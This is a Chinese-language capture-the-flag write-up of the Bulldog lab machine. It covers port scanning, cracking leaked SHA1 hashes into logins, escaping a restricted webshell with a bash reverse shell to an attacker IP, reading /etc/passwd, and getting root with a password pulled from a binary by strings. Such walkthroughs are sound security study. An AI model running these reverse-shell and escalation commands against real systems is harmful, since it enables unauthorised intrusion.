发现整个渗透流程中,分享和总结是最耗心力的,既要整理思路和想法,又要让整个流程通顺符合逻辑。但是分享是学习的老师,一切都是值得的,不多废话了,直接上主题,哈哈哈。
一、信息收集
第一步啥也不用想,nmap端口开路。
靶机IP:172.16.3.208
# Nmap 7.70 scan initiated Sat Oct 12 15:52:17 2019 as: nmap -sV -sC -A -Pn -oN 172.16.3.208.txt 172.16.3.208
Nmap scan report for localhost (172.16.3.208)
Host is up (0.0010s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)
| 256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)
|_ 256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
|_http-server-header: WSGIServer/0.1 Python/2.7.12
|_http-title: Bulldog Industries
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 12 15:52:31 2019 -- 1 IP address (1 host up) scanned in 13.85 seconds
发现80端口,于是web目录扫描
主要出现了这几个界面
主页,这里没有发现可用的信息
哈哈哈,看CEO的用词、能看出靶场设计者的用心。用了一种情景加故事的方式,告诉了我们一些信息收集的东西,尽力地模仿实际场景了。
技术团队声明,用了有道词典大法成功提取部分重要信息:之前的网站使用了php,被黑后替换成了python,数据库使用了MongoDB,但是未安装完全。
还有一个需要验证的webshell链接,点击如下:
Django登录界面
现在问题来了,从题目可知,webshell可以提供给我们了,但是需要验证,怎么验证呢?验证数据又从哪里来?
按照靶场的惯例,一般这个时候右键=>查看源代码,会有惊喜。
看出来这里的数据应该是sha1加密,使用SMD5进行碰撞解析得到nick/bulldog、sarah/bulldoglover两个账号。
分别用两个账号登录Django后台,发现啥权限也没有,啥事也不能做。
但是再次打开webshell的界面,发现我们拥有shell的一些使用权限了。
二、webshell的使用
可以看到我们只有ifconfig ls echo pwd cat rm这些命令的权限,其他的大部分命令比如cd会被拦截。
反弹shell。
echo "bash -i >& /dev/tcp/192.168.31.237/4444 0>&1" | bash
命令解释:
bash -i : bash是Linux下一个常见的shell,-i参数表示产生一个交互式的shell
/dev/tcp/192.168.175.134/8080 : /dev/tcp|udp/ip/port是一个Linux中比较特殊的一个文件,如果在Linux上访问就会发现这个文件并不存在,其含义是让主机与目标主机ip在端口port建立一个tcp或udp连接
0>&1:将标准输入0输出重定向至标准输出1。或者可以这么理解,将标准输入0和标准输出1合并,在重定向至1,因为前面已经将标准输出1重定向至/dev/tcp/192.168.175.134/8080,所以现在标准输入0和标准输出1都指向/dev/tcp/192.168.175.134/8080。
echo + | bash是将中间具有交互式shell通过管道赋予bash
三、提权
cat /etc/passwd,拥有shell权限的3个人,django、bulldogadmin和root。
我uname -a然后使用脏牛进行提权,发现目前我的权限低的不能执行脏牛文件.....
然后瞄准bulldogadmin用户,查找他的文件 find / -user bulldogadmin 2>/dev/null,发现隐藏目录
打开note,一封信。
打开customPermissionApp乱码
使用strings发现两个点
这里的SUPERultHimatePASHSWORDyouHCANTget去掉H,就是SUPER ultimate PASSWORD you CANT get的组合,可能是密码,至于为什么,猜(正常渗透情况下,很少有这样的情况吧)。
反弹shell不是标准的shell,我们可以通过py自带库完成反弹shell到标准shell的转变
python -c 'import pty;pty.spawn("/bin/bash")'
然后
sudo su root
./customPermissionApp bulldogadmin
然后输入密码,成功提权。
SUPERultimatePASSWORDyouCANTget